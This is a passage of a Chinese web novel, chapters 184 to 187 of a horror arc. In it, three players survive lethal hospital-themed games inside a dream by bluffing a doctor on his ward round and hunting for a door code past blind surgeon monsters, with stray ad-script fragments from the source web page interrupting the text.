吴樊祐没有说什么,安静地听从安排,跟着俞小澄往左边走廊走去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 穿过无形的水墙,他们第二次来到药房,站在药房窗口前,周围一切如常。 值班的护士伸出手,俞小澄递上处方单,顺便问了下护士能不能处理吴樊祐手上伤口。 护士懒洋洋地打着呵欠,将退烧药备齐后,又好心地给吴樊祐消毒包扎。 等到一切完成,他们顺利离开了药房,重新回到走廊,然后转身进了病房。 此时她还没想到,这会是一个错误的选择。 “找找房间里有没有开水。” 俞小澄一边将吴樊祐往房间里推,一边关上房门。 正在这时,卫生间里突然传出一声怪叫,门在二人面前猛然开启,而范正昂的脸出现在门后。 只听范正昂一边叫着“别别别”,一边往门口冲。 然而,一切为时已晚,门已经随着俞小澄推动产生的惯性闭上了。 俞小澄不敢想象自己此刻脸有多臭,就跟一只苍蝇突然飞进了嘴巴里,她想踩死范正昂的心都有了。 刚才还觉得安全的俞小澄感觉天都要塌了,加上范正昂,就意味着游戏又将开始了。 “你怎么一个人跑病房里来了?” 俞小澄强挤出一丝笑容,那笑容里仿佛藏着一把刀,正虎视眈眈地对准范正昂的脖子。 范正昂一脸无辜,叹气道:“我从楼梯间出来,哪里也不敢走啊,我一个人必定触发诅咒,感觉躲在病房里还安全点……” “啧,你刚好像是叫我别关门,要不我现在把门给你打开,你到外面去玩会儿,让我们两个刚刚爬了百八十楼的人休息一会儿好不好?” 俞小澄的话听上去像是哀求,又像是威胁。 范正昂并不吃她这套,赶紧往房间里缩,嘴上不让半分,道:“哎,刚才一个人被关在这屋子里,自然有点慌,现在有人陪,也不用急这一时半会儿,我也跟你们一起休息一会儿吧,说起来我也爬了百八十楼,有点累了。” 说话间,范正昂已经毫不客气地在中间那张床上躺下了。 “要不我把他扔出去?”吴樊祐问道。 这句话毫无掩饰地落入范正昂耳中,他气恼地说:“喂,当着我的面这样说合适吗?我好歹练过几年拳,到时候究竟谁被扔出去,可不好说。” 俞小澄思考片刻,最终冲吴樊祐摇了摇头。倒不是怕吴樊祐打不过,只是这种落井下石的事,她实在做不出。 “行吧,且看看这病房又是什么游戏。” 俞小澄说着走到靠门的床边,听着隔帘后的人还在嘀嘀咕咕,她索性壮起胆子将隔帘整个掀开,露出了整张床。 床上一个鬼影子都没有,并且随着隔帘被归拢到一旁,那诡异的絮絮叨叨声便消失了。 俞小澄又走到另一侧靠窗的床铺,照葫芦画瓢掀开隔帘,这一下,整间病房都清静了。 俞小澄在房中找到热水瓶,给吴樊祐倒了杯水,监督他将刚拿到的退烧药服下,然后安排吴樊祐在靠窗的床铺上躺下,而自己则睡在了靠近房门的那一张床上。 她的举动过于轻松自在,让人误以为已经远离的危险,连范正昂都摒除不安的情绪,迷迷糊糊地在病床上睡了过去。 他们就这么休息了半个钟头,那恼人的广播又在房中响了起来。 184. 梦境(七) “本场游戏正式开始,请各位患者热情迎接医生的查房,可别惹医生不高兴哦。友情提示,医生巡房时不喜欢有人睡觉哦。” 这俏皮的女子声音着实惹人厌烦,三人不约而同从床上坐起了身。 俞小澄静静坐着,竖起耳朵等待广播说出游戏时长,可是广播就此终结,再没响起过。 “什么情况?又是持续不结束吗?” 俞小澄茫然地看了看手表,现在已经是凌晨4点了。 凌晨4点巡房可还行,明摆着不想让人睡觉,俞小澄对这场梦境实在厌恶透顶。 俞小澄凝视着房门方向,不知巡房的医生何时会出来,经过一番思索,她露出一脸坏笑,说道:“如果我们现在离开病房,医生不就巡不了房了吗?” 范正昂当即表示赞同,吴樊祐有气无力地又躺回了枕头上。 吴樊祐挥了挥手,眼皮沉得一开一合,低声应道:“我就不出去了,刚吃了药,现在有点困,让我睡一会儿,就睡一会儿……” 这时候睡觉无疑是送死,俞小澄赶紧到床边将人从床上薅了起来,一边支撑着迷迷糊糊的吴樊祐,一边叫上范正昂赶紧开溜。 俞小澄还未来得及开口叫招财帮忙从外面开门,走在前面的范正昂就一把拉开了房门。 俞小澄的震惊并没有因此结束,因为走出房门,她发现外面不再是昏暗的走廊,而是一个明亮又宽敞的大房间。 这个大房间四周有无数扇门,看上去像是一个个病房,就跟他们身后这间一样。四周的房间围成中间一个大圆,在这个大圆的正中央,布置着一个护士站工作台,几名护士正坐在柜台后面。 不少穿着病服的NPC从病房出出进进,还有不少患者在这个大房间里走来走去。 俞小澄和范正昂面面相觑,谁都不清楚,这究竟是怎么一回事。 一开始,他们以为是被传送到了别的地方,可回头望去,病房一成不变地待在身后,与离开前没有任何变化。 看来,这场游戏不结束,他们根本走不出这个空间。 可是什么时候才算结束呢? 广播并没有给出答案,俞小澄只能大胆猜测,这场游戏的主题是医生巡房,那么只要巡房结束,一切应该就会恢复原样。 俞小澄将吴樊祐交给范正昂照顾,然后独自一人走向了护士台,她估计医院的护士或许知道医生巡房确切的时间。 见她要往护士台跑,范正昂一脸担忧,急忙提醒:“俞小澄,你当心点,我记得医院规定里有一条是不能听护士说话。” 俞小澄脚下一顿,对于范正昂所担忧的事,她不能说完全不在意,只是她其实记得那鬼影说的原话——“那些护士说话不能听,否则病就好不了了。” 所以,她大概推测,听护士说话并不会犯禁忌,只是会让病情恶化,所以她将唯一生着病的吴樊祐留给范正昂照护,独自前往护士台试一试。 没空与范正昂解释太多,她只让范正昂自己当心,然后便向护士台跑去。 怀着一颗紧张不安的心,俞小澄出现在护士台前。柜台后,护士们看向她的眼神十分和善,看上去一脸人畜无害的模样。 “请问,医生巡房一般几点到几点啊?”俞小澄小心翼翼地问道。 一个护士笑容甜美,说:“凌晨4点开始,将所有病房巡视一圈后结束。” 听上去十分合理,就是这开始时间有些鬼畜。 俞小澄问:“有几位医生巡房啊?” 那护士答:“有且仅有一位医生哦!” 听到答案,俞小澄的嘴角有些压不住,脑子里瞬间蹦出了应对之策。 只要等医生巡完第一个房间,三人趁其不注意溜进去,岂不就可以高枕无忧了吗? 正在为自己天衣无缝的策略沾沾自喜之时,护士带着甜甜的笑对她说:“咦,你不是右小腿骨折的病患吗?怎么跑出来了,别乱动,当心骨头无法愈合。” 俞小澄正暗骂护士嘴毒,忽然右小腿传来一阵锥心刺骨的疼痛,疼得她直不起腰来,只能跌坐在地上哀嚎。 豆大的汗珠从额头滴落,她难以置信地盯着自己的右小腿,明明完好如初,可那仿佛受过重创的疼痛感是如此真实。 护士推来一架轮椅,好心地将俞小澄扶来坐好,然后推着俞小澄就往病房走。 俞小澄疼得实在说不出来话,见范正昂正扶着昏昏欲睡的吴樊祐站在门前,急忙冲他挥了挥手,眼神示意他赶紧回避。 范正昂急急躲到隔壁房间,等护士将俞小澄送回床上离开后,他才又偷偷摸摸溜回房里。 一进门,范正昂就急切地问道:“怎么回事?你怎么突然就倒了?” 俞小澄死抓着膝盖坐在床上,疼痛让她头晕目眩,缓了好久才开口回道:“千万别听那些护士说话,不,她们哪里是在说话,分明是在下降头,她一句话就把我腿弄折了……” 她本以为护士有让人病情加重的本事,没想到她还有无中生有的魔法,这一次算是栽了。 游戏才刚开始,就残了一个,晕了一个,范正昂满脸写着“大冤种”。 “现在只能找个已经完成巡房的病房躲一躲了,只有一个医生,要将所有房间巡视一圈,应该并不难躲。” 俞小澄拿出了一个方案,范正昂仿佛又看到了希望,二话不说,将俞小澄扶回轮椅上,然后一边架着吴樊祐,一边推着俞小澄,迅速逃离了病房。 就在三人离开病房躲到一根柱子后面,等着看医生会先巡哪间房时,诡异的一幕出现了。 空旷的大房间里,除了护士在走动,似乎所有病患都已经回到了病房中。 而每间病房的房门前,都站着一位身穿白大褂的医生,相同的发型,相同的打扮,就像镜面折射出无数的分身一样,动作一致地推开房门走入了病房中。 藏在柱子后的三人全都懵了,连昏昏欲睡的吴樊祐都使劲揉着眼睛,以为自己产生了幻觉。 “这……就是一个医生?”范正昂脸都绿了。 俞小澄苦笑道:“呵呵,好有效率的巡房,感觉每一个病人都得到了平等的尊重……” 这场游戏果然不能依靠正常人的思维来判断。 想要借着先后顺序摆脱巡房的计划就此落空,俞小澄立刻想到了另一个方案。 “我们是不是可以在这个大房间里一直躲到巡房结束啊?”俞小澄低声说道。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 范正昂点头:“我觉得行。” 吴樊祐却泼了盆冷水一般,消极地说:“前提是这间房中不会有别的陷阱。” 范正昂有些不满地回怼:“只要避开那些护士,还能有什么陷阱?” 吴樊祐甩甩头,强睁着眼,有气无力地答道:“谁知道呢,这么明目张胆的逃课方式,你们能想到,恶灵不能想到吗?” 每当吴樊祐说这种模棱两可的丧气话时,俞小澄就感觉要遭殃了。 很快,她的这种不祥预感就得到了印证。 俞小澄感觉脚下传来隐隐震动,那震动间隔频率十分均匀,仿佛有什么庞然大物正在房中踱步。 吴樊祐和范正昂也感受到大地的震颤,第一反应便是地震了。 忽然,房间里响起一声尖锐的求救声,三人循着声音齐齐望了过去,只见护士站后露出来一个光溜溜赤红色的不明物体,仿佛有什么东西浮在距离地面四米的空中,超过护士站的墙体,露出了一小部分。 正当三人一头雾水时,一个高约四米,浑身皮肤赤红,五官怪异,长着獠牙的巨人从护士站后走了出来,手里拎着一个尖叫连连的病人。 病人惊恐万分,手脚在空中乱晃,试图挣脱巨人的手。 可二者的力量过于悬殊,只见巨人像抓住一根鸡腿一样抓住病人的身体,然后一口咬掉了病人的头,鲜血喷溅,不仅湿了巨人的脸,还将护士站的柜台染得斑驳。 坐在柜台前的护士遭了无妄之灾,气呼呼地冲巨人吼道:“你抓人就抓人,别脏了护士站!” 巨人挠着头,一副腼腆害羞的模样,哈腰道歉:“各位姐姐对不住,光顾着抓溜出病房的患者,没注意脏了姐姐们的桌子,我给你们擦擦。” 说话间,巨人伸出食指,往柜台上一抹,血污的范围被抹得更广了。 护士们怒气冲天,言辞激烈地赶走了巨人,于是巨人又开始在房间里走动起来,每走一步,整个地板都随之颤抖。 俞小澄眼睛瞪得眼珠子都快掉出来了,看着那巨人的样子,心中有无数骂人的话,却不知道说哪一句最能表达心中的那份无语。 范正昂:“这特么是什么玩意儿!” 吴樊祐:“保安吧。” 范正昂:“谁家保安长这德性啊!这……这……这任谁看到都知道要跑吧……” 是啊,这游戏怎么能用正常人的思维来判断呢? 俞小澄觉得,已经有一个分身无数的医生了,多一个地狱保安也不是不可以。 只是,不管是留在病房内,还是躲在病房外,他们好像都死路一条。 “选一个吧,打医生还是打保安?”俞小澄作出一副“累了毁灭吧”的表情,将决定权交给了范正昂。 范正昂看看俞小澄,又看看吴樊祐,这两个人,一个进房间必定会激怒医生,一个留在病房外根本跑不过巨人,他感觉自己就是在做一道让谁死的选择题。 伴随着脚下传来的有节奏的震动,范正昂经过了漫长的思考,最终对吴樊祐说:“兄弟,要不你喝点咖啡挺一挺!那巨人咱真打不过!” 说罢,范正昂一手架着吴樊祐,一手推着俞小澄,又重新飞奔回到了病房中。 185. 梦境(七) “怎么回事,巡房时间到了还到处乱跑?” 三人一进门就听到来自医生的厉声质问,听语气,这医生脾气不好。 范正昂硬着头皮将两位病友往床边带,吴樊祐走路有些摇摇晃晃,俯身在俞小澄耳边小声说道:“学姐,我可能撑不住了,待会儿发生什么,你别管我了,就到这……” 俞小澄感觉他话还没说完,就迷迷糊糊地睡了过去,身子往下坠,范正昂努力将他扶起来。 “怎么了?”医生突然发问,视线也开始往三人身上瞄。 范正昂身子紧绷,咽了咽口水,从咬紧的牙缝中蹦出几个字,问俞小澄:“完蛋了,怎么办?” 俞小澄此刻却不慌,让范正昂将吴樊祐扶到中间床上睡好。 范正昂行为上虽然照做了,但嘴上忍不住质疑道:“喂,你这不是直接送他去死吗?挑这个时候,不厚道吧?” 俞小澄翻了个白眼,无奈地解释道:“反正中间的床头灯没开,那医生看不清。” 正当她说出这句话时,天花板上的格栅灯忽闪两下,随后整个房间都亮堂起来。 范正昂目光呆滞,如同心死了一般嘀咕道:“这要还看不见,只能是医生眼瞎了吧……” 俞小澄砸了砸嘴,一脸不爽地看向走到门边按下照明开关的医生,忍着腿上的疼痛站起身,扶着床沿坐在了靠窗的床上,然后对范正昂说:“把隔帘拉上。” 范正昂一边照做,一边忍不住发牢骚:“这样能起什么作用啊?避免一会儿血溅到我们身上?” 用隔帘将中间床铺完全遮挡后,范正昂一脸不安地坐到了俞小澄身旁。 他刚坐好,医生就负手走了过来,果然一来就指着被隔帘遮得严严实实的床铺问道:“干嘛呢?都查房了还把帘子拉上,在里面睡觉呢?” 医生的话把范正昂吓得浑身一抖,面色凝重地望向俞小澄。 俞小澄不慌不忙开口道:“他比较害羞,平日最怕见人。” “怕见人刚才还到处乱跑?简直胡说八道。”医生并不相信,一把便将隔帘掀开来。 此时床上的人睡得正安稳,呼吸平缓,对外界动静丝毫没有反应。 坐在一旁的范正昂瞬间呼吸凝滞,瞪大了眼睛盯着面色一点点阴沉下去的医生,感觉下一秒医生脑袋上就能喷出火来。 俞小澄轻声咳嗽,带着些指责的口气,道:“病人也有隐私不是?你就这么堂而皇之地将一个病人最不想让人看见的模样展露人前,是不是太不厚道了?” “哈?他不想让人看见什么?不想让人看见他在睡觉吗?”医生攥紧拳头,眼睛里泛着火光,感觉要变身了似的。 范正昂用手肘戳了戳俞小澄的胳膊,示意俞小澄要不要逃跑。 俞小澄冲他摇了摇头,语气肯定地说:“他没有睡觉!” 医生怒指着吴樊祐的脸,道:“眼睛都闭上了,不是睡觉?你在逗我?” 俞小澄一脸严肃,回:“他是瞎子。” 范正昂的震惊程度不比医生小,一脸难以置信地回头望着俞小澄,简直看不懂俞小澄到底打算干什么。 医生气笑了,提高音量质问:“行,就算他眼瞎,那瞎子听到医生来巡房,躺在床上一动不动算什么事儿啊?” 范正昂嘴角抽搐,替俞小澄捏了一把汗,他就是想帮吴樊祐遮掩,可这么明显的睡相,感觉什么歪理都不管用。 俞小澄异常冷静,对医生提出的质疑毫不在意,轻描淡写地回答了三个字:“他瘫了。” 医生有些站不稳,手指方向在三人之间来回转变,一口气憋了半晌,似乎终于想到了什么,目光凶狠地盯着俞小澄,问:“瘫了?瘫了的人方才怎么还能跑病房外乱逛啊?” 事态发展至此,范正昂总算明白俞小澄的策略了,其实就两个字——瞎编。 这一次,没等俞小澄开口,范正昂便举起手,理直气壮地回道:“就是因为瘫了,我才扛他出去活动活动筋骨。”说完又看向俞小澄,暗示一般问道,“是吧?” 俞小澄立马点了点头,继续胡扯:“对,我这朋友最大的优点就是助人为乐。看我腿折了,用轮椅推我出去溜达一圈;看隔壁病友瘫了,立马扛着人绕场一周。” 说罢,俞小澄和范正昂相视假笑起来。 医生将信将疑,可好歹没有再发火,闷声吐槽:“又瞎又瘫,该不会连话都说不了吧?” 俞小澄立马接话:“啊对,真是神医啊,一眼就看出病人毛病来了,太神了!” 范正昂也配合地拍手奉承:“太厉害了,简直华佗在世。” “又瞎又哑又瘫,这不就是植物人嘛!”医生有种想骂人又不知道从何骂起的感觉。 俞小澄:“哦,原来是叫植物人啊。” 范正昂:“是我们孤陋寡闻了。” 终于,医生一脸晦气地将隔帘拉上,看样子是放弃了对吴樊祐的询问,转而看向了俞小澄和范正昂。 “你俩是啥病来着?”医生问道。 俞小澄小心抬起右腿,正好让医生帮忙解决一下疼痛不止的问题。 谁知医生看完只是微笑道:“问题不大,吃颗安眠药睡一觉就好了。”说完又看向范正昂,似乎在等待着对方道出自己的病症。 范正昂心中困惑,说:“我这……该有什么病吗?我身强体壮,连感冒的机会都不多……” 医生满意地点了点头,总结道:“看来是幻想症,问题不大,吃颗安眠药睡一觉就好了。” 俞小澄暗骂:这到底是哪门子医生啊! 不等他们再说什么,医生转身朝房门口走去,冲着外面打了个响指,看那架势,仿佛一切尽在掌控中。 “又要搞什么呀……”范正昂担忧地向门外张望,悄声问道。 俞小澄皱着眉说:“这么明目张胆的钓鱼执法我也是没想到……” 这不管什么病,全都安眠药伺候的模式,摆明是想让他们睡着,然后再以他们触犯禁忌为由大开杀戒。 手段之低劣,俞小澄闻所未闻。 吴樊祐的情况暂且被她糊弄过去了,可她与范正昂两个尚活蹦乱跳的人如果被安眠药放倒,实在无法再解释成突然变身植物人了。 对她二人而言,结果必定难逃一死。 俞小澄盯了范正昂好一会儿,突然问道:“你有没有把握打死医生?” 范正昂简直不敢相信自己听到了什么,惊得差点没控制好音量,急忙捂住嘴,说:“你是不是疯了?还让我杀人。”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 俞小澄笑着回答:“你不杀他,他等会儿就要杀我们了。” 此话让范正昂面色一沉,斜眼朝门外看去,似乎真在认真考虑俞小澄的话,并在心里计算着他与医生之间的力量差距。 然而当医生重新回到房中时,他身边还跟了一名护士,刚起了杀心的范正昂立马萎靡了。 俞小澄偷笑道:“跟你开个玩笑罢了,你怎么还当真了。” 见到有护士跟进房中,俞小澄第一反应便是捂上耳朵,她可不希望再有哪里病了伤了。范正昂见状心领神会,跟着一道堵住了耳朵。 护士全程并未说话,只是面带微笑,分别递给两人一杯水和两粒药片,然后就退回医生身后,安静地看着两位病患。 俞小澄估计在病房里,医生才是主角,否则有护士那可怕的谶言之力辅佐,他们根本无法从死亡陷阱中逃脱。 “好了,赶紧吃了药休息吧。” 医生笑容可掬地催促,俞小澄感觉他的笑容中藏着只恶鬼,正等着他们自投罗网。 “医生给的药不能吃,吃了就回不了家了。” 病房鬼影说的这句话盘旋在脑海之中,俞小澄哪儿敢听从医生的指示。 一手拿着杯子,一手拿着药片,俞小澄平静地问医生:“大夫,怎样才算是巡房完毕呢?” 医生指了指她手中的药片,说:“了解病人情况,针对病人病情对症下药后,如果没有其他副作用,我就可以安心结束巡房了。” 一番话说得冠冕堂皇,仿佛塑造了一位温柔体贴的医生形象,可实际行为与嘴上说的天差地别。 对症下药?不都是安眠药嘛! 有无副作用?不就是睡着嘛! 俞小澄将那两粒药片握在手中,藏到身后,厚着脸皮道:“呵呵,水太烫了,我等会儿再吃。” 俞小澄悄悄用脚踢了踢范正昂,对方回头看了她一眼,似乎明白了她的意图,也学着她的样子,将药藏到了身后,然后故意说开水烫嘴,没法下口。 医生不慌不忙地走上前,摸了摸两人手里的玻璃杯,笑道:“看来幻想症还能传播,这水不是温的么?” 俞小澄和范正昂却一口咬定,水杯里的水就是烫嘴。 医生看出二人想拖延时间的意图,冲护士使了使眼色,后者随即走出了病房,两分钟后,又重新回到房间里,而手上还拿着两瓶矿泉水。 护士将水杯收回,改将瓶装水塞进了二人手中。 接着,二人就听医生耐着性子说道:“这下水凉了吧?你们不吃药,巡房永远不会结束。” 听那语气,隐隐藏着一丝恐吓,仿佛是在告诉他们:不用白费功夫,拖延时间是没有用的。 俞小澄面色凝重地问:“我们服下药,医生要观察到几时呢?” 医生乐观地回答:“别担心,我认为要不了几分钟。” 俞小澄和范正昂对视一眼,感觉终究逃脱不过,眼神坚定地点了点头,似乎做出了某种决断,下一刻,二人一把将药片扔进嘴里,用水吞服。 当二人向医生展示嘴里和手里都没有药片后,医生满意地点了点头。 “接下来,就让我看看这药对两位的病情有没有帮助吧。”阴森的话语自医生嘴里传出。 186. 梦境(七) 医生和护士一直站在病房中,与俞小澄和范正昂大眼瞪小眼瞪了许久,久到脚都站麻了,床上坐着的二人也没有半点昏昏欲睡的迹象。 医生开始不耐烦地在房间里踱步,最终终于忍不住问道:“你们吃了药,不觉得困吗?” 俞小澄故作一副茫然的表情,回答:“不会啊,可能安眠药对我没用吧。” “怎么可能……”医生眉头紧蹙,眼神似在质疑护士是不是拿错药了。 护士立即摆手澄清,坚决表示自己不可能搞错。 俞小澄赶紧打断他们之间的内讧,笑眯眯地辩解:“我这身体吧,生来有些奇特,不止助眠的东西于我无用,就连醒神的东西也是不起作用,我喝完咖啡都能倒头就睡,吃安眠药精神十足有什么好奇怪的?” 医生半信半疑地看向范正昂,问:“这么巧,你也是?” 范正昂一本正经地胡说八道:“不,我不一样,我有睡眠障碍,任何药物都没用,一到夜里就特精神!” “还有这种事?”医生对这结果并不满意,可眼看天都要亮了,再守下去似乎也没有意义,于是向护士使了使眼色,迈步向病房外走去。 床上的两人一直目送着医生护士出屋关门,眼见房中的灯光骤然熄灭,范正昂提心吊胆地摸到门前,拧了拧门把手,确认打不开门后,两人总算松了一口气。 俞小澄此刻也感觉那条疼得让人抓狂的小腿瞬间痊愈,这预示着巡房游戏终于结束了。 他们各自躺倒在一张床上,疲倦感在紧张解除后不请自来,而现在他们总算可以闭上眼享受片刻的安稳。 “哇,还好你想到将药调包,我差点都想先念经超度自己了。”范正昂的声音隔着隔帘传来,“说起来,我们吃的是什么药啊?你从哪里找的?” “呵,随身带的维生素片而已。”俞小澄随口答道,并没有解释更多。 此刻,招财进宝正一左一右坐在俞小澄身边,手里拿着那失踪的四粒安眠药片。幸亏俞小澄反应及时,让招财进宝去药房找来了维生素片做替代,才将医生糊弄过去。 医生大概做梦也没想到他们能调包,在房间里苦苦蹲守了2个小时。 窗外的天色由黑转蓝,阳光似乎在一点点啃食医院里的阴暗,让一切看上去稍微阳间了一些。 俞小澄趁机赶紧睡一会儿,谁也不知道下次游戏又会在何时开启,至少短时间内,待在房间里应该是安全了。 范正昂似乎因疲倦倒头就睡,这会儿已经传来轻微的鼾声,俞小澄的意识也渐渐模糊,甚至没来得及在手表上调个闹铃,便沉沉睡了过去。 不知过了多久,恍惚间感觉脸颊和耳朵有些痒,她才缓缓清醒过来。 只见吴樊祐正坐在床边,被她睁眼吓得手上一抖,急急从她脑袋上挪开。 “干嘛?又有蚊子吗?”俞小澄摸着脸坐起身。 “哦,是啊,学姐你什么血型,怎么这么招蚊子。”吴樊祐脸不红心不跳,手掌在空中胡乱挥动,驱赶着并不存在的生物。 你才是蚊子吧! 俞小澄心中大叫,表面却风平浪静,不与他计较,随后伸手摸了摸吴樊祐的额头,感觉体温确实下降了一些。 见真正的病患恢复了状态,她看看手表,时间又过去了三小时,他们也是时候思考下一步对策,于是俞小澄叫醒了熟睡中的范正昂。 范正昂睡眼惺忪,一边用手抹着脸,一边询问俞小澄下一步打算怎么做。 俞小澄说:“我们现在这个组合肯定不行,走哪儿都会被卷入要命的游戏中,不如再找个不相信那些鬼设定的人,不就可以安心等到梦境结束了吗?” 范正昂点头,十分赞同她的想法,可如今除了俞小澄,也就不知所踪的汤神婆属于不相信这个阵营的人。 因此,问题也就出现了。 “我们该如何找到汤神婆,她如果已经遇害了呢?”范正昂谨慎地提出自己的疑问。 吴樊祐否决了他这种设想,道:“如果学姐的猜测都是对的,那汤神婆不管是独自一人行动,还是找到落单的庞大师一起行动,都不会在医院里遇到危险。” 至于怎么寻找汤神婆的下落,俞小澄根本不担心,扭头给招财一个眼神,对方便心领神会地飞出了病房。 俞小澄故意留下悬念,说:“汤神婆的去向嘛,等会儿应该就知道了。” 范正昂知道俞小澄肯定隐藏了什么手段,自进入梦境起,他就有这种感觉,但俞小澄没有明说,他也不好追问别人的隐私,所以选择了默默相信。 总的来说,跟着俞小澄,似乎遇上什么事都能逢凶化吉,这一点对他来说没有坏处,除了偶尔会感觉俞小澄对于人的生死似乎显得太没有人情味。 “过了这么久,一点恶灵的消息都没有,这场梦境也挺厉害的。”俞小澄小声嘀咕着。 吴樊祐赞同道:“这次的恶灵挺会躲,看来是个阴险小人,就喜欢躲在暗处。” 俞小澄接着说:“不过,恶灵终归喜欢看玩家被玩弄于股掌之间,我不信这里的恶灵完全置身事外,完全不关心玩家都发生了什么。” 吴樊祐问:“所以,你觉得恶灵可能躲在暗处偷看?” 俞小澄点了点头:“不十分肯定,但多少符合恶灵作为梦境统治者的傲慢刻板印象。” 吴樊祐:“我们每次遇到危险时,身边要么没有NPC,要么NPC不同,都不太像恶灵的样子啊。” “确实如此,所以我才好奇,恶灵究竟能藏在哪里,既能目睹玩家的狼狈,又不被玩家发现呢?”俞小澄抚着下巴,一脸沉思。 “不是有个人每场都在吗?”范正昂虽对他们之间讨论的内容不甚理解,可还是提出了自己的看法。 俞小澄和吴樊祐一脸惊讶地看向范正昂,齐声问道:“谁?” 范正昂被他们看得有些心慌,声音不由得弱了几分,道:“广播里那个女生。” “啊!”俞小澄叫了一声。 范正昂的话,仿佛抛进河中的鱼饵,引得潜藏其中的鱼儿搅动着水面蜂拥而至。 俞小澄突然意识到,答案一直就这么赤裸裸摆在自己眼前,因为过于明显,反倒让像她和吴樊祐这样经历了六场梦境的经验者麻痹大意了。 如果说,广播中的女生就是恶灵,那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她又会藏在哪里呢? 一个不会被玩家发现,但可以观察玩家受苦的地方。 “监控室?”俞小澄缓缓说出自己的猜想。 吴樊祐和范正昂无不赞同,虽无证据证明,但的确是个值得探索的地方。 接着问题又出现了。 范正昂问:“那要如何到监控室去?我们连要去哪里都只能纯靠运气二选一……” 吴樊祐回道:“这个问题嘛,等找到汤神婆,再考虑不迟。” 就在三人讨论的时候,招财已经穿门而入,一脸邀功的表情对俞小澄说:“汤神婆找到了,她这会儿正在手术室。” 俞小澄当即起身,拉上吴樊祐和范正昂就出了病房。 她并不想在走廊里长时间停留,避免再遇上那该死的拿刀鬼手,于是她出门只确认两边人影的话中有没有手术室,如果没有就拉上二人回房,如此反复。 直到刷出一条通往手术室的路。 范正昂也在她不断的重复操作中,大概猜出了她之后打算如何前往监控室。 三人顺利通过正确的水墙,转移到了手术室。 这个区域内,总共有六间手术室,而每间手术室的门上正亮着“手术中”的红灯,似乎这个时间点,手术室已经开始了一天的忙碌。 手术室外,汤神婆正站在过道里,一脸好奇地贴在手术室门上,听着里面的动静,看到又有人出现在这里,露出又惊又喜的神色。 然而,看到过道里情况的俞小澄等人,面色统一变得沉重。 因为此时汤神婆身后,还跟着一张熟悉的面孔,并非庞大师,而是邹奕。 再见俞小澄等人,邹奕一脸不愉快,似乎并不欢迎几人,只因在这几人面前自己出过糗。 俞小澄等人看见邹奕,如同看到蛋糕上停着一只苍蝇,还一脸猥琐地搓着手,令人作呕。 还不等几人说话,手术区就以迅雷不及掩耳之势发生了变化。 灯光全部熄灭,原本亮着红灯显示“手术中”字样的显示屏亮起了绿灯,显示的文字也变成了“游戏进行中”。 周遭的气氛蓦然阴沉起来,俞小澄知道,倒霉的游戏又要开始了。 她气恼地问招财:“你怎么不早说邹奕也在这里啊?” 招财委屈道:“姐姐只说找汤神婆,我根本没注意这个瘟神也在这里呀……对不起,姐姐。” 事已至此,俞小澄也不忍心过多责备,只得静下心,努力调整自己的心态,等待着那个熟悉的广播声响起。 安静片刻后,手术区迎来了广播的降临。 “本场游戏正式开始,请各位各位患者在手术室中寻找密码,打开出口大门,逃离此区域。友情提示,手术室中的医生正在手术中,最不喜欢患者开口,若是说话吵到医生,医生会为你主刀哦!” 说完,一阵令人心烦的笑声在封闭的空间里回荡。 待一切归于平静后,所有人都不敢再开口,唯恐一开口,自己将成为下一个受害者。 就在几人静静站在原地,借着昏暗的光观察着手术区内的动静时,原本紧闭的六扇手术室大门缓缓地滑开了。 187. 梦境(七) 六扇门后,各站着一个高挑的身影,看那高度都快顶到天花板了,因此佝偻着身子,眼睛里泛着绿油油的光,双手长到拖地,手里拿着一把寒气逼人的手术刀。 看起来不似人形,好像是从地底爬出来的畸形生物。 那双泛着绿光的眼睛在黑暗中横扫,却好像视觉有障碍,对手术室外的人视若无睹,停顿半晌后,发出一声怪异的吼叫,一边胡乱挥舞着手术刀,一边机械地一步一顿返回手术室。 手术室的门就这么敞着,站在外面的人可以看见里面两团鬼火在空中游荡,明示着诡异医生的行动轨迹。 汤神婆和邹奕看着门里怪物,全都腿脚发软,哆哆嗦嗦逃到了出口旁。 五人聚在一起,不敢开口,只能干瞪眼。 他们检查了一下出口大门,门上并无把手,门边有一个小小的显示屏,上面正显示着六个方框,似乎需要输入六位数密码,才能开启这扇门。 而大门的密码,恶灵已经给予提示,就藏在六间手术室中,只是每间手术室里都有一个诡异的怪物把守。 汤神婆双手在空中比划着,试图与大家交流对策,可比划半天也没人能看懂她究竟想表达什么。 俞小澄也不指望能靠这些新人通过本场游戏,翻着白眼在心里招呼招财进宝前往六间手术室寻找密码。 进宝依旧抱着她的大腿,死活不愿意进入有怪的房间里,于是招财只能自告奋勇,独自承担搜寻的任务。 可惜,这一次的结果让俞小澄失望了。 她等了许久,最后等到的是空手而归的招财。 “姐姐,我将六间手术室翻了个遍,一个像样的数字都没找到。”招财一脸沮丧地说。 连招财都没有找到密码,难道是恶灵根本就没有留下密码吗?可是规则是绝对的,即便是恶灵也无法违背。 俞小澄沉思片刻,只想出一种可能性,她在心中念叨:“难道跟捉迷藏梦境中的线索一样,只有特定条件下才会出现吗?” 她记得当时也是拜托招财进宝帮忙寻找,可最终线索只有她自己能看到,也许,只有玩家自己才可以获取到。 如此猜想,她鼓起勇气从几人身边穿过,径直走到了最近的一号手术室,站在门前,她有些犹豫,黑暗中两团绿火停在半空中,目光好似锁定在她身上。 俞小澄冲着怪物的方向挥了挥手,然后发现对方没有一点反应,于是她躲在门后敲了敲门,不过一秒,那怪物便闪现到门边,手术刀精准地捅在了她敲响的地方,竟还穿透门板,停在了俞小澄的眼前。 若俞小澄的位置站得再偏前一点,这刀片恐怕已经刺入她眼中。 看到这一幕的人大气都不敢出,看着俞小澄一步一步慢慢退回到众人身旁。 房间中的怪物听不见别的动静,又慢悠悠地回到手术室中巡逻起来。 方才那一击,在场众人皆看得清楚,自然也明白了这场游戏要面对的是什么,他们必须在不发出任何响动的情况下,找出开启出口大门的密码。 怪物医生的眼睛虽然吓人,但作用形同摆设,还可以帮玩家确定他的位置,似乎只要不发出声音,他的威胁并不大。 